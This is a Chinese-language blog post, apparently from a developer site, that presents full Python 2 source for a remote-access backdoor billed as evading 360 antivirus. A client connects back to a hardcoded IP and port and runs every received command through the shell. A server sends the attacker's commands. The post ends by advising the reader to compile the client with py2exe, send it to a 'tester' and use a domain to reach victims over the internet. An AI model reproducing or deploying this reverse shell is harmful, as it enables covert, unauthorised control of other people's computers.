Python写黑客小工具,360免杀

简介:

构思:

client:反向连接server,执行shell命令

server:发送命令,控制客户端


import subprocess
import socket
import threading


target="172.22.40.41"
port=55555
buffer=""


def sendMag(c_socket):
    global buffer
    
    while True:
        #send cmd
        
        if len(buffer):
            try:
                print "c_buffer>>>>", buffer
                c_socket.send(buffer)
            except:
                print "socket send error"
                
           
            print buffer
            buffer=""
            
         
            
       
            
def getMag(client_socket):
    global buffer
    
    while True:
        resc=""
        len_resc=1
        while len_resc:
            datas=client_socket.recv(4096)
            len_resc=len(datas)
            resc+=datas
            if len_resc<4096:
                break
            
            
        if not len(resc):
            res_cmd="ERROR COMMAND"
        res_cmd=cmd(resc)
        try:
            
            if not len(res_cmd):
                res_cmd="NO MAG"
                
                
            buffer+=res_cmd
            
        except:
            print "soc send reeor"
            
        
            
        


def c_rec():
    global target
    global port
    client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        
        client_socket.connect((target,port))
    except:
        print "SOCKET CONNECT FAILED"
    
    
    
    
    get_thread=threading.Thread(target=getMag,args=(client_socket,))
    get_thread.start()
    send_thread=threading.Thread(target=sendMag,args=(client_socket,))
    send_thread.start()
    

def cmd(str):
    str=str.rstrip()
    try:
        
        res_cmd=subprocess.check_output(str,shell=True)
        
    except:
        res_cmd="ERROR COMMEND!!"
        
    if not len(res_cmd):
        res_cmd="ERROR BACK"
        
    return res_cmd



def main():
    c_rec()


main()

import socket
import threading


target="0.0.0.0"
port=55555


def s_loop():
    global target
    global port
    server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind((target,port))
    
    server.listen(5)
    while True:
        c_socket,addr=server.accept()
        print "A Client Connect"
        
        
        send_thread=threading.Thread(target=sendMag,args=(c_socket,))
        send_thread.start()
    
        get_thread=threading.Thread(target=getMag,args=(c_socket,))
        get_thread.start()



    
    

def sendMag(c_socket):
    while True:
        #send cmd
        
        command=raw_input("#")
        try:
           
            if  len(command):
                c_socket.send(command)
                
        except:
            print "server send error"
        



def getMag(c_socket):
    while True:
        #get mag from client  
        recvs=""   
        
        len_rec=1
        while len_rec:
            datas=c_socket.recv(4096)
            
            len_rec=len(datas)
            recvs+=datas
            if len_rec<4096:
                break
            
           
        print "get from Catc::",recvs
        


    


def main():
    s_loop()



main()

可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。


目录
相关文章
|
19天前
|
存储 缓存 测试技术
理解Python装饰器:简化代码的强大工具
理解Python装饰器:简化代码的强大工具
|
1月前
|
程序员 测试技术 开发者
Python装饰器:简化代码的强大工具
Python装饰器:简化代码的强大工具
154 92
|
2月前
|
数据安全/隐私保护 Python
微信群成员导出工具, 微信群成员导出软件, 微信群管理工具软件【python】
这个工具提供了完整的微信群成员导出功能,包括登录微信、获取群列表、导出成员信息到Excel等功能
|
7天前
|
机器学习/深度学习 编解码 Python
Python图片上采样工具 - RealESRGANer
Real-ESRGAN基于深度学习实现图像超分辨率放大,有效改善传统PIL缩放的模糊问题。支持多种模型版本,推荐使用魔搭社区提供的预训练模型,适用于将小图高质量放大至大图,放大倍率越低效果越佳。
|
1月前
|
人工智能 自然语言处理 安全
Python构建MCP服务器:从工具封装到AI集成的全流程实践
MCP协议为AI提供标准化工具调用接口,助力模型高效操作现实世界。
393 1
|
17天前
|
算法 安全 数据安全/隐私保护
Python随机数函数全解析:5个核心工具的实战指南
Python的random模块不仅包含基础的随机数生成函数,还提供了如randint()、choice()、shuffle()和sample()等实用工具,适用于游戏开发、密码学、统计模拟等多个领域。本文深入解析这些函数的用法、底层原理及最佳实践,帮助开发者高效利用随机数,提升代码质量与安全性。
84 0
|
1月前
|
API 数据安全/隐私保护 Python
拼多多批量上架软件, 电商一键上货发布工具,python电商框架分享
多线程批量上传架构,支持并发处理商品数据 完整的拼多多API签名和token管理机制
|
1月前
|
安全 API 数据安全/隐私保护
|
1月前
|
Java API 数据安全/隐私保护
淘宝一键上货发布软件,淘宝批量发布上架工具, 淘宝批量上架脚本【python】
这个Python脚本实现了以下功能: 完整的淘宝API调用封装
|
1月前
|
机器人 数据安全/隐私保护 Python
淘宝批量发货发布工具, 淘宝批量上传商品软件, 淘宝批量上架软件【python】
使用Selenium实现自动化操作淘宝卖家后台 支持三种核心功能

推荐镜像

更多